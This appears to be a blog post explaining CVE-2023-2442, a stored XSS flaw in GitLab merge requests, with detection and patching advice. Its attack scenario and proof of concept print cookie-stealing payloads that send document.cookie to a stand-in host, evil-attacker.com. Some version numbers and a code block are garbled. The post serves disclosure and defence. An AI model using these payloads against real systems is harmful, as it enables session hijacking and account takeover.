In early 2023, security researchers discovered a critical client-side vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE). Tracked as CVE-2023-2442, this flaw allows attackers to inject and store malicious JavaScript through a carefully crafted merge request. When a victim interacts with the merge request in GitLab's web interface, the injected script executes, enabling the attacker to perform actions on the victim's behalf — including stealing credentials, manipulating code, or escalating privileges.

This post will break down what CVE-2023-2442 is, how the exploit works, provide sample code, reference the original advisories, and walk you through remediation steps. If you use GitLab and haven't updated since June 2023, this post is especially for you.

16.. and 16..1

Any self-hosted instance or on-prem deployment running these versions is vulnerable. GitLab.com was updated immediately after the fix was released, but private installations are still at risk if not patched.

What is Stored XSS?

Cross-Site Scripting (XSS) is a common flaw where malicious code (often JavaScript) is injected into a web application and then served to unsuspecting users. Stored XSS is especially dangerous because the naughty code sits in the database, waiting for a victim to visit a page or interact with affected content.

When the attack happens in a tool as critical as GitLab — where developers manage code, projects, and deployments — the risk and impact are magnified.

Exploiting CVE-2023-2442 with a Malicious Merge Request

According to the GitLab Security Advisory, the issue was in how user input in merge request fields was insufficiently sanitized. An attacker, with the ability to submit merge requests, could craft the content of the _title_, _description_, or _other MR elements_ to contain malicious JavaScript.

When a repo maintainer or reviewer clicked to view the merge request in the web UI, the browser would execute the attacker's code.

Example Attack Scenario

Suppose an attacker wants to grab the current user's cookies whenever they view the malicious merge request.

Step 1: Attacker creates a new merge request with a payload like this in the _description_

![Evil Image](x" onerror="fetch('https://evil-attacker.com/steal?cookie='; + document.cookie)//)

Or as a more classic payload

<script>fetch('https://evil-attacker.com/steal?cookie='; + document.cookie);</script>

Step 2: GitLab (pre-patch) fails to sanitize the input properly, so the payload is stored in the database.

Step 3: A maintainer visits the affected merge request. Their browser parses and executes the injected JavaScript.

Step 4: The attacker's server at evil-attacker.com receives the stolen cookies, which could include a session token.

Step 5: Attacker uses the stolen token to act as the victim — potentially merging/unmerging code, creating new users, or accessing sensitive project data.

Proof of Concept: Step by Step

> Warning: Do not test on production systems! Use a safe, isolated environment.

1. Set up a GitLab CE test instance (using, e.g., GitLab Docker images).

`markdown

![Test](x" onerror="alert('XSS Success: ' + document.cookie)//)

Alice reviews the merge request. As soon as the page loads, she sees an alert with her cookies.

6. Replace alert(...) with fetch(...) directed to an attacker's server to steal the cookie/data.

Detection

- Review merge requests and issue descriptions for suspicious <script> tags or image onerror handlers.
- Analyze logs for unusual outgoing network requests initiated from user browsers while browsing merge requests.

16..2 (or newer)

GitLab Security Release Note

Original References

- GitLab Security Release (June 1, 2023)
- NVD Record for CVE-2023-2442
- HackerOne Report (disclosure may be pending)

Final Thoughts

Stored XSS bugs like CVE-2023-2442 are severe because they bypass most client-side defenses — the attack comes from inside your software! Always keep GitLab up to date, train your team to watch for suspicious merge requests, and consider using web-application firewalls (WAFs) as an extra shield.

If you run a private GitLab instance, update immediately. Once patched, audit your repository history for merge requests with unusual HTML/JS payloads — attackers might have left something behind.

Timeline

Published on: 06/07/2023 16:15:00 UTC
Last modified on: 06/13/2023 20:51:00 UTC